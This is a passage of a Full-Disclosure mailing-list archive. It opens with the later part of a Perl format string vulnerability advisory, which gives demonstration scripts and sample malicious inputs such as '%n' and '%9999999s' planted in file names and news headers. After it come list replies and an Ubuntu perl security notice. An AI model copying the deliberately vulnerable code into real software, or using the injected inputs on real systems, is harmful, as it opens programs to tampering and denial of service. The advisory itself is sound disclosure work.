http://rt.perl.org/rt2/Ticket/Display.html?id=17698 http://www.nntp.perl.org/group/perl.perl5.porters/67239 Statement From Perl Language Developer -------------------------------------- These issues do not represent a substantial security hole in perl itself. Future versions of perl may extend tainting checks to format strings, or just to certain aspects of formats (such as %n). ********************************************************************** 5. Real-World Vulnerable Program Examples ********************************************************************** In 2002, at least 3 different Perl programs were found vulnerable to format string attacks: 1) ftplogcheck 2) perl-nocem 3) WASD OpenVMS web server ftplogcheck ----------- ftplogcheck is a program used for processing wu-ftpd logs and generating statistics. It is not part of the wu-ftp distribution. One portion of ftplogcheck report lists which files were uploaded to the server by the "anonymous" user. The code is: printf REPORT "$time $host $filesize $filename $name\n"; If the wu-ftp server is configured to allow uploads from anonymous users, then attackers can upload files whose names contain malicious format strings, which are then fed into the $filename variable. In this case, the attacker could consume memory or disk space by causing an extremely large report to be generated (if $filename is "%999999s") or misrepresent the name of the file that has been uploaded (if $filename is "word1%1sword2", which would generate the string "word1 word2"). The original developer is: koos at pizza.hvu.nl http://idefix.net/~koos/ftp.html [ftp://ftp.cetis.hvu.nl/pub/koos/ftplogcheck is apparently down] This program is archived at: http://www.landfield.com/software/ftp.landfield.com/wu-ftpd/tools/ftplogcheck perl-nocem ---------- perl-nocem is a script that was apparently suggested for inclusion in INN 2.0 beta, but it was not directly distributed with INN 2.3.3 or any 2.x version. http://www.isc.org/ml-archives/inn-workers/2001/05/msg00177.html This script processes NoCeM notices, which can be used by the server to process third-party, PGP-signed article cancellation notices. In do_nocem(), a call is made to sprintf() after inserting the values of the $nid and $issuer variables into the format string: logmsg(sprintf("processed notice $nid by $issuer" . " ($nr ids, %.5f s, %.1f/s)", $diff, $nr / $diff)); The value of $nid is obtained from a "notice-id" news article header. It is not sanity-checked; therefore, malicious format strings can be inserted into this sprintf() call. The $issuer variable is obtained from an "issuer" header, but this value must be allowed by the perl-nocem control file. It may be possible to use a wildcard character and match any issuer. The $nr variable contains the total number of articles to be canceled, and the $diff variable attempts to measure the amount of time required to cancel the articles, generally 0.01 due to an apparent bug. According to the developer, the scope of this attack is limited: "the message is printed only after the nocem notice has been PGP-verified, so the attacker must be one of the trusted cancellers." Typical input Assume that 10 articles are to be canceled ($nr = 10) and $diff is 0.01. With a $nid (Notice-ID header) of "NID" and a $issuer (Issuer header) of "ISSUER at example.com", the log message output would be: processed notice NID by ISSUER at example.com (10 ids, 0.01000 s, 1000.0/s) Memory/disk consumption With a Notice-ID of "%9999999s", a large amount of memory and/or log file space is consumed: processed notice [etc.] Modification of the $diff variable With a notice-id of "%n", perl-nocem changes the $diff variable to 17 (the length of the "processed notice " substring), as opposed to its original value (typically 0.01). This changes the error message to misrepresent how long it took to cancel the articles: processed notice by ISSUER at example.com (10 ids, 1000.00000 s, 0.0/s) (notice the double-space in "notice by" where the notice-id would be). Note that if perl-nocem had used a format string that began with the "$nid" variable (e.g. "$nid notice processed" instead of "processed notice $nid"), then the $diff variable would have been set to 0, and the "$nr / $diff" expression would have caused the program to exit with a division-by-zero error. Other output modifications With a notice-id of "%p", the resulting log message would be like: processed notice 130498 by [ISSUER] (10 ids, 0.50000 s, 0.0/s) where the "130498" is an incorrect notice id. Developer statement: [This is] not easily exploitable, the message is printed only after the nocem notice has been PGP-verified, so the attacker must be one of the trusted cancellers. Solution: WASD ---- Jean-loup Gailly suggested the presence of a format string issue in the WASD OpenVMS web server [1]. A sample program, PerlRTE_example1.pl, contained the following vulnerable code: printf ("$name=\"$ENV{$name}\"\n"); where the $name variable can be altered by an attacker to contain format strings (e.g. through a query string). ************************************************************************ 6. Avoiding Format String Vulnerabilities During Development ************************************************************************ When writing Perl programs, follow these guidelines. 1) Use constant strings for formatting. 2) Do not feed Perl variables directly into format strings, e.g. "$bad %10s" or $bad . " %10s" 3) Where possible, avoid using printf and sprintf 4) If absolutely necessary, consider quoting the "%" specifier before including a user-controlled input into a format string. 5) Run your program with taint checking enabled, which can help protect against many of the problems identified here. Notes on Detecting Vulnerabilities in Source Code ------------------------------------------------- Detection of suspicious code is slightly more difficult than it is for C code. Constant strings can contain Perl entities such as variables or references, which are inserted into the string before it is passed to printf/sprintf. $fmt = ; printf("THIS IS A POTENTIALLY VULNERABLE $fmt FORMAT STRING\n"); ************************************************************************ 7. Suggestions for Further Research ************************************************************************ This paper is not an exhaustive work, so further research is needed. Software developers and vulnerability researchers are encouraged to actively search for format string issues in all programming languages, not just C and Perl. Suggested research topics include: - for each programming language, identify and publicize all builtin or common library functions that use format strings. - extend source and binary code analysis tools to look for improper use of these functions - audit individual applications that have been previously deemed free of obvious vulnerabilities, with a focus on format strings - study the implications of interactions between a high-level language and the language it is implemented in. For example, there may be format string analogues to the problems of the null byte in Perl and PHP programs and their interaction with the underlying C code. - further examination of the taint checker (see below) Note: in the author's limited experience, format string vulnerabilities do not appear as frequently in Perl or PHP applications as they do in C programs. However, more focused efforts are needed before this suspicion can be confirmed. ********************************************************************** 8. Demonstration Programs ********************************************************************** These programs demonstrate some the problems described above. 1) Argument modification #!/bin/env perl # when run with taint checking (-T), this seems to properly barf about # dependency errors (try a "clean" format string like "5s%s%s" vs. a # dirty one with a "%n" in it). $ENV{"PATH"} = ""; # try as input: "%s%n%s" --> modifies $b $a = "A"; $b = "B"; $c = "C"; $x = sprintf($ARGV[0], $a, $b, $c); print "\$a='$a'; \$b='$b'; \$c='$c'\n"; print "$x\n"; system("/bin/echo $a $b $c"); ************** End Sample Vulnerable Program ************** ********* Sample 2 ********** # Create a directory that contains files with these names: # X%10sX # %p # %s # abc%ndef # This was gleaned from some real-world code, but the print was # changed to printf. # Change what filenames are processed via format strings in # the filenames, such as a file named "%p%n" # # You can "erase" a filename by using '%s', and having this "blank" # filename could throw off the argument count to system or exec calls, # which could alter behavior. Consider a backup command like # exec("/bin/cp", file1, file2) where file1 can be "blanked" out # # Similarly, you could "erase" portions of a filename with "%n" or # "%s". The filename ABC.TXT would be equivalent to ABC%n.%nTXT # # You can create very long filenames by using '%999s' (for example). opendir(DIR, "."); while ($file = readdir(DIR)) { print "Real filename: $file\n"; printf "Filename in format string: $file\n\n"; } closedir(DIR); 2) Misuse of format string in log processing, for which many Perl programs have been written. Could cause larger strings than expected to be written to files or sent to processes; code that depends on well-formatted input from the program may be subject to buffer overflow or other issues. I've seen several programs that do something like this: printf "A=$a\n" ******** End Sample 2 ************ ********************************************************************** 9. References ********************************************************************** [1] Jean-loup Gailly "remote SYSTEM compromise in WASD OpenVMS http server" Bugtraq post September 26, 2002 http://marc.theaimsgroup.com/?l=bugtraq&m=103307640806862&w=2 [2] Arjan de Vet "Security aware programming with Perl" http://www.madison-gurkha.com/publications/yapc2001/text0.htm [3] Steve Christey "An Alternate View of Recently Reported PHP Vulnerabilities" Bugtraq http://seclists.org/lists/bugtraq/2003/Apr/0085.html [4] http://www.cansecwest.com/archives.html [5] Jack Louis "Webmin miniserv.pl format string vulnerability" November 29, 2005 http://lists.immunitysec.com/pipermail/dailydave/2005-November/002685.html [6] Jack Louis "Perl format string integer wrap vulnerability" December 1, 2005 http://marc.theaimsgroup.com/?l=full-disclosure&m=113345191421286&w=2 [8] WASD PerlRTE_example1.pl http://wasd.vsm.com.au/ht_root/src/perl/readmore.html [9] perl-nocem: http://www.isc.org/ml-archives/inn-workers/2001/05/msg00177.html [10] INN-workers security report http://marc.theaimsgroup.com/?l=inn-workers&m=103643921519928&w=2 http://marc.theaimsgroup.com/?l=inn-workers&m=103644050021431&w=2 ********************************************************************** 10. Disclosure History ********************************************************************** Jun 10, 2002 - Theorized issue; began discovery and investigation; search for potentially vulnerable programs initially unsuccessful Sep 26, 2002 - Jean-loup Gailly (jloup at gailly.net) posts Perl format string problem in OpenVMS Sep 28, 2002 - deeper investigation into format specifiers, other vulnerable programs Sep 30, 2002 - more writing on security advisory; investigated whether taint checker did "the right thing" Sep 30, 2002 - tried to find a way to report a security vuln to Perl developers (in case taint issue is a Perl bug, and to consult on possibility of buffer overflows). Registered to site, only to be told by a web page to email my report to a certain address. Left out details in the email because I had no idea who would be viewing the report at that address. This turned out to be a good decision, as that post has been publicly archived. Sep 30, 2002 - investigated taint checker issues, %p Sep 30, 2002 - initial response from Perl contact (within 50 minutes) saying it was OK to post details to that address, gave an alternate POC just in case. Oct 1, 2002 - provided Perl developer list with details Oct 1, 2002 - notified CERT/CC Oct 8, 2002 - sent followup inquiry to Perl developer list and primary Perl POC; haven't heard anything back, do they plan to modify the taint checker? Oct 10, 2002 - asked a colleague to try contacting Perl developers Oct 11, 2002 - response from hv at crypt.org saying that message had not been forwarded to the mailing list. Replied to various points; suggested possible statement on taint checker. Oct 17, 2002 - Statement modified and approved from hv at crypt.org Nov 1, 2002 - notified Mark.Daniel at wasd.vsm.com.au (WASD developer) http://wasd.vsm.com.au/ht_root/src/perl/readmore.html Nov 1, 2002 - more investigation into perl-nocem Nov 1, 2002 - notified perl-nocem author, Marco d'Itri (md at linux.it) Nov 3, 2002 - received acknowledgement from perl-nocem author Nov 3, 2002 - received acknowledgement from WASD author, approval to release Dec 5, 2002 - inquiry to perl-nocem author; are patches available? Dec 5, 2002 - perl-nocem patches had been made Dec 5, 2002 - investigation of ftplogcheck Dec 19, 2002 - refined advisory, cleaned up demonstration code Nov 29, 2005 - posted to DailyDave Dec 1, 2005 - Jack Louis releases Perl integer wrap advisory Dec 2, 2005 - further edits, table of contents, enhancement of argument shifting Dec 2, 2005 - posted to Bugtraq, Full-Disclosure From mike.benjamin at clarinet.com.au Fri Dec 2 09:21:17 2005 From: mike.benjamin at clarinet.com.au (Michael L. Benjamin) Date: Fri, 2 Dec 2005 17:21:17 +0800 Subject: [Full-disclosure] Most common keystroke loggers? Message-ID: Although not particularly secure, this is an interesting method I saw in use recently. First you enter your account number, then... Say your PIN is 0467 they present the screen to the user like this (as an image): +---+---+---+---+---+---+---+---+---+---+ | 0 | 1 | 2 | 3 | 4 | 6 | 6 | 7 | 8 | 9 | +---------------------------------------+ | H | A | S | B | E | J | O | W | V | X | +---+---+---+---+---+---+---+---+---+---+ In the password field you enter the corresponding letter to your PIN. Obviously the corresponding letters are generated prior to the web page being served, and the server-side is aware of the equivalent value. So in this case your PIN transposes to "H E O W", you type that in. The server checks this, and transposes it back to your pin of "0 4 6 7" and verifies the user. Now, a keylogger is going to capture "H E O W". Without any additional smarts and knowing what appeared on the screen during the session, the keylogger is useless for determining the PIN. This will stop any non-targetted keyloggers. It's possible a hacker could write a specific keylogger to grab the image from the page and work out what the numbers/alphas are, but it becomes a more involved process and is specific to the website it is targetted at. Overall an improvement on most sites. M. -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Shannon Johnston Sent: Friday, December 02, 2005 01:25 AM To: full-disclosure at lists.grok.org.uk Subject: [Full-disclosure] Most common keystroke loggers? Hi All, I'm looking for input on what you all believe the most common keystroke loggers are. I've been challenged to write an authentication method (for a web site) that can be secure while using a compromised system. Thanks, Shannon _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From CNQQTROVMYSY at spammotel.com Fri Dec 2 09:34:55 2005 From: CNQQTROVMYSY at spammotel.com (CNQQTROVMYSY at spammotel.com) Date: Fri, 02 Dec 2005 10:34:55 +0100 Subject: [Full-disclosure] (no subject) Message-ID: <1133516697.CNQQTROVMYSY@spammotel.com> The original message was received Mon, 21 Nov 2005 07:50:14 +0100 from - ----- The following address(es) had permanent fatal errors ----- ; originally to CNQQTROVMYSY at spammotel.com (unrecoverable error) The mail system encountered a delivery failure, code -11. This failure could be due to circumstances out of its control, please check the transcript for details -------------- next part -------------- An embedded message was scrubbed... From: joey at infodrom.org (Martin Schulze) Subject: [Full-Disc]: [Full-disclosure] [SECURITY] [DSA 811-2] New common-lisp-controller Date: Mon, 21 Nov 2005 07:53:56 +0100 (CET) Size: 4430 Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051202/05106b3a/attachment.mht From aksecurity at hotpop.com Fri Dec 2 08:34:30 2005 From: aksecurity at hotpop.com (Amit Klein (AKsecurity)) Date: Fri, 02 Dec 2005 10:34:30 +0200 Subject: [Full-disclosure] Re: [DRUPAL-SA-2005-008] Drupal 4.6.4 / 4.5.6 fixes XSS and HTTP header injection issue In-Reply-To: <20051201154558.GB18510@aragorn> Message-ID: <43902336.8387.5A50F8@localhost> On 1 Dec 2005 at 16:45, Uwe Hermann wrote: > ---------------------------------------------------------------------------- > Drupal security advisory DRUPAL-SA-2005-008 > ---------------------------------------------------------------------------- > Advisory ID: DRUPAL-SA-2005-008 > Project: Drupal core > Date: 2005-11-30 > Security risk: less critical > Impact: normal > Where: from remote > Vulnerability: XSS, HTTP header injection > ---------------------------------------------------------------------------- > > Description > ----------- > Paul Laudanski informed us that it's possible to attach files that are able > to run Javascript under Internet Explorer. > > Further investigation of the problem revealed that the same method can be > used to inject arbitrary HTTP headers. > Would this injection be in the context of the HTTP response stream (i.e. HTTP Response Splitting?) -Amit From rs2321 at gmail.com Fri Dec 2 11:24:25 2005 From: rs2321 at gmail.com (R S) Date: Fri, 2 Dec 2005 16:54:25 +0530 Subject: [Full-disclosure] Re: SOX whistleblowers' clause Compliance In-Reply-To: References: <2be58a30511302258i455d92f0o8d3fa7a5a4884bea@mail.gmail.com> Message-ID: <2ba066b20512020324p32da5511o8fd482280b75d86f@mail.gmail.com> On 12/2/05, Aditya Deshmukh wrote: > > > > > > Why cant you use google to find out this ? > > > > The same reason you can't use Google and find your answer fuckbag. > > Are you n3td3v ? In the spirit of full-disclosure I support anyone's [doesn't matter if it is a troll like infosecbofh or netdev] right to express their opinion, but turning abusive should be a reason enough to be kicked off any public mailing list. I have already filtered out these people, but I still get to read some of the abusive emails because some others feel that these people deserve a reply. Can the moderator please issue a warning to these abusive trolls? Also is it too much to ask the "great security minds" in this list to contain their need to reply to these trolls? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051202/845f32c9/attachment.html From jasher1 at tampabay.rr.com Fri Dec 2 11:55:07 2005 From: jasher1 at tampabay.rr.com (Jesse W. Asher) Date: Fri, 02 Dec 2005 06:55:07 -0500 Subject: [Full-disclosure] SOX whistleblower requirements challenged in court? (Was SOX whistleblowers' clause Compliance) In-Reply-To: References: Message-ID: <4390361B.2080604@tampabay.rr.com> I was curious about the mention of "the SOX whistleblowers requirements have been challenged in court". Can anyone provide more information on this? What has challenged and why? Thanks!! >>From: Madison, Marc [mailto:mmadison at fnni.com] >>IANAL, But IMO use an Intranet web page that allows employees >>to submit >>anonymous html post to the web server via html. Now if your security >>policy is pervasive then surely auditing is enabled on all >>your systems, >>thus removing any anonymity this would have provided. Have you >>considered, dare I say, outsourcing? I only say this since >>part of the >>requirement calls for the company to provide sufficient anonymity to >>individuals reporting issues. By the way the SOX whistleblowers >>requirements have already been challenged in court so there might be >>precedence on what is sufficient. >> >> From mohit.muthanna at gmail.com Fri Dec 2 12:30:53 2005 From: mohit.muthanna at gmail.com (Mohit Muthanna) Date: Fri, 2 Dec 2005 07:30:53 -0500 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <1133457890.12950.80.camel@localhost> References: <1133457890.12950.80.camel@localhost> Message-ID: Shannon, Why don't you try http://www.teleauth.com? It's a two-factor authentication service that can be easily plugged into your applications. It authenticates users by calling them on their phone and requesting a PIN code. It's easy to use and free. There's also PAM modules for UNIX and UNIX-like systems, a Ruby module, a Drupal module, and some others that I can't think of at the moment. Mohit. On 12/1/05, Shannon Johnston wrote: > Hi All, > I'm looking for input on what you all believe the most common keystroke > loggers are. I've been challenged to write an authentication method (for > a web site) that can be secure while using a compromised system. > > Thanks, > Shannon > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- Mohit Muthanna [mohit (at) muthanna (uhuh) com] "There are 10 types of people. Those who understand binary, and those who don't." From martin.pitt at canonical.com Fri Dec 2 13:23:20 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Fri, 2 Dec 2005 14:23:20 +0100 Subject: [Full-disclosure] [USN-222-1] Perl vulnerability Message-ID: <20051202132320.GC6589@piware.de> =========================================================== Ubuntu Security Notice USN-222-1 December 02, 2005 perl vulnerability CVE-2005-3962 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) Ubuntu 5.04 (Hoary Hedgehog) Ubuntu 5.10 (Breezy Badger) The following packages are affected: perl-base The problem can be corrected by upgrading the affected package to version 5.8.4-2ubuntu0.5 (for Ubuntu 4.10), 5.8.4-6ubuntu1.1 (for Ubuntu 5.04), or 5.8.7-5ubuntu1.1 (for Ubuntu 5.10). In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Jack Louis of Dyad Security discovered that Perl did not sufficiently check the explicit length argument in format strings. Specially crafted format strings with overly large length arguments led to a crash of the Perl interpreter or even to execution of arbitrary attacker-defined code with the privileges of the user running the Perl program. However, this attack was only possible in insecure Perl programs which use variables with user-defined values in string interpolations without checking their validity. Updated packages for Ubuntu 4.10: Source archives: http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.5.diff.gz Size/MD5: 60449 138a02883a2dbe7a64ab04afdd66e9d9 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.5.dsc Size/MD5: 727 703d3ffd2a87bde7c541c6e8e837aadb http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4.orig.tar.gz Size/MD5: 12094233 912050a9cb6b0f415b76ba56052fb4cf Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/universe/p/perl/libcgi-fast-perl_5.8.4-2ubuntu0.5_all.deb Size/MD5: 37058 bd3315452eecd9d428dabe16e53f2ded http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-doc_5.8.4-2ubuntu0.5_all.deb Size/MD5: 7049780 5786917c60337ce874fe75bd3356ca12 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-modules_5.8.4-2ubuntu0.5_all.deb Size/MD5: 2181250 7c97e5758dfff350f684ba84aab0a2dc amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.5_amd64.deb Size/MD5: 605446 b75c1a5bf7e1663f74c99fe3b42ceab7 http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.5_amd64.deb Size/MD5: 1030 010890e33535d7a9b5f3c29fb18c2278 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.5_amd64.deb Size/MD5: 787320 7028286655aa8f1583cbc33de1769810 http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.5_amd64.deb Size/MD5: 3819880 c0234ca782a1821ceb46a6e3f31c5040 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.5_amd64.deb Size/MD5: 32838 298ae33f6e488bb5676358862672bf7d http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.5_amd64.deb Size/MD5: 3834290 ea9cb2fe0d5da2cf9f41280d82af236f i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.5_i386.deb Size/MD5: 546916 c1696ad6b6cc8b135ef8b9b3c4d641dc http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.5_i386.deb Size/MD5: 494116 6969f99be7a08e72397f88141cf792fa http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.5_i386.deb Size/MD5: 727682 8df403b46255458380f8f1cc470695cf http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.5_i386.deb Size/MD5: 3631196 8b2c590421d6fb1990c10cbbd082127e http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.5_i386.deb Size/MD5: 30812 e59daea11508610cce6fbfe1d1d27352 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.5_i386.deb Size/MD5: 3229772 b29f36a2a1d486b13b021785ae7416e4 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.5_powerpc.deb Size/MD5: 561030 3d81dd76a5b743776b4c8b9596199075 http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.5_powerpc.deb Size/MD5: 1036 febc4be8e86ba57988038b2245098602 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.5_powerpc.deb Size/MD5: 718498 5e1d9871793e853806968c95d065da8c http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.5_powerpc.deb Size/MD5: 3817110 71b313d4d4e8fbaf159c570ca8a67ccc http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.5_powerpc.deb Size/MD5: 30564 869d07e824d69d9eb729ffac2ee3e307 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.5_powerpc.deb Size/MD5: 3477134 5bc641ebc225d4df2d758a27bc4b076d Updated packages for Ubuntu 5.04: Source archives: http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-6ubuntu1.1.diff.gz Size/MD5: 85222 f860ad98b388fe9b8bb86cc7e35345c7 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-6ubuntu1.1.dsc Size/MD5: 744 a7ed7714ee125e9ef47ad3815ef631d9 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4.orig.tar.gz Size/MD5: 12094233 912050a9cb6b0f415b76ba56052fb4cf Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/universe/p/perl/libcgi-fast-perl_5.8.4-6ubuntu1.1_all.deb Size/MD5: 37848 e127ed7dfc844352edc5decfce571304 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-doc_5.8.4-6ubuntu1.1_all.deb Size/MD5: 7050018 04f464518415aba917f23fb92aa2c692 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-modules_5.8.4-6ubuntu1.1_all.deb Size/MD5: 2178096 dd899c9f55a68afd7b9fbfd20be24e6d amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-6ubuntu1.1_amd64.deb Size/MD5: 605492 e7ced10f4d56325865215644ca3cf206 http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-6ubuntu1.1_amd64.deb Size/MD5: 1032 0de0991b480a41be576e0eb314cf9076 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-6ubuntu1.1_amd64.deb Size/MD5: 791098 48622e7501239e1bf514a478958e641f http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-6ubuntu1.1_amd64.deb Size/MD5: 3825826 86680f4b3ec293e8ff7d6766aa8e34fc http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-6ubuntu1.1_amd64.deb Size/MD5: 32840 9087597015a77995be3fae92dc8875dd http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-6ubuntu1.1_amd64.deb Size/MD5: 3833986 0e950b7f25c2c2d133cdc5deeed083bc i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-6ubuntu1.1_i386.deb Size/MD5: 547172 be2b0d1b086af1fe4de25456d8db0a32 http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-6ubuntu1.1_i386.deb Size/MD5: 494206 a23e58dc0ed626af909d7b5d6992665c http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-6ubuntu1.1_i386.deb Size/MD5: 731022 5cbdd58be91bec1b8bda5b9e0ce5041c http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-6ubuntu1.1_i386.deb Size/MD5: 3630452 340473c47f02b82e3ab58ebce8a2cb4c http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-6ubuntu1.1_i386.deb Size/MD5: 30464 5c493e827dcd495f0a74be1cb7d76d26 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-6ubuntu1.1_i386.deb Size/MD5: 3230234 6dfd8e1ffc89ab95f380093ae676829a powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-6ubuntu1.1_powerpc.deb Size/MD5: 625218 71310d2d768fe03cf6a9a23a4d43298a http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-6ubuntu1.1_powerpc.deb Size/MD5: 1044 45d4349e536701ce7ed8032056da3ba0 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-6ubuntu1.1_powerpc.deb Size/MD5: 789578 1ff2f2abd2469dc46cb7cbda0d9be51d http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-6ubuntu1.1_powerpc.deb Size/MD5: 3588104 2fbb1cb36d1f38af8a165397bbe08695 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-6ubuntu1.1_powerpc.deb Size/MD5: 33578 9b2011b06bf9837f88d24cbc4051067c http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-6ubuntu1.1_powerpc.deb Size/MD5: 3509086 5029a74793ea9a46ddf8053a94193d21 Updated packages for Ubuntu 5.10: Source archives: http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.7-5ubuntu1.1.diff.gz Size/MD5: 134597 d5eb14b2a7b72b5fef014284cb989404 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.7-5ubuntu1.1.dsc Size/MD5: 724 cc3cd8ed85ab22c3dc5bcc28e4dfa166 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.7.orig.tar.gz Size/MD5: 12512211 dacefa1fe3c5b6d7bbc334ad94826131 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/universe/p/perl/libcgi-fast-perl_5.8.7-5ubuntu1.1_all.deb Size/MD5: 39132 1698e69173383d40dbf7265ea9c31c75 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-doc_5.8.7-5ubuntu1.1_all.deb Size/MD5: 7206644 da242594035cf2bf1e7f7e73e67c2562 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-modules_5.8.7-5ubuntu1.1_all.deb Size/MD5: 2325766 7f69e0426eca9092f4e0da8c12be7cb5 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.7-5ubuntu1.1_amd64.deb Size/MD5: 641136 5f3b2d6818b93ce69f45c2225475f994 http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.7-5ubuntu1.1_amd64.deb Size/MD5: 1008 909ca536921167aa03a9bcfe17504ecc http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.7-5ubuntu1.1_amd64.deb Size/MD5: 819570 323c17484cbcdd2325016faa41954d9d http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.7-5ubuntu1.1_amd64.deb Size/MD5: 2689162 81924c3f4ea92a95efe6ca26a9e93d35 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.7-5ubuntu1.1_amd64.deb Size/MD5: 31392 7b62c900f9d4226baf46536f33aa43cb http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.7-5ubuntu1.1_amd64.deb Size/MD5: 3974714 ec727b329279874b06c3a1ff4eaf013d i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.7-5ubuntu1.1_i386.deb Size/MD5: 560106 4a7bfbf041785c53c17549b9fe8b5651 http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.7-5ubuntu1.1_i386.deb Size/MD5: 505946 8b87d461dd40e550869ab377449cd07b http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.7-5ubuntu1.1_i386.deb Size/MD5: 737400 49b7d3f90c86c53c75dddaf1c7451b01 http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.7-5ubuntu1.1_i386.deb Size/MD5: 2453904 932044f5e5b32e7cbe7ebe7ba1787806 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.7-5ubuntu1.1_i386.deb Size/MD5: 28828 1824f7c1147d4039b5ad8e0880329fc2 http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.7-5ubuntu1.1_i386.deb Size/MD5: 3297136 39cdfaba9743158eb0f770e2caec2adc powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.7-5ubuntu1.1_powerpc.deb Size/MD5: 656086 7fbb2c2885063467fb63ceadf83856e0 http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.7-5ubuntu1.1_powerpc.deb Size/MD5: 1008 c463dda6c6b94f4a279d8180924c1fa3 